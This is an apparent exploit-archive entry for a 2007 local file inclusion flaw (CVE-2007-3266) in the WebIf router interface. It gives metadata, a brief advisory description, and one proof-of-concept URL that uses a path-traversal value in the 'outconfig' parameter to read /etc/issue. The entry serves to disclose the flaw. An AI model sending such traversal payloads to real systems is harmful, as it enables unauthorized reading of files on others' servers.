WebIf - 'OutConfig' Local File Inclusion

Author: maiosyet
type: webapps
platform: cgi
port: 
date_added: 2007-06-18 
date_updated: 2013-12-11 
verified: 1 
codes: CVE-2007-3266;OSVDB-37508 
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source: https://www.securityfocus.com/bid/24516/info

WebIf is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

http://www.example.com/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue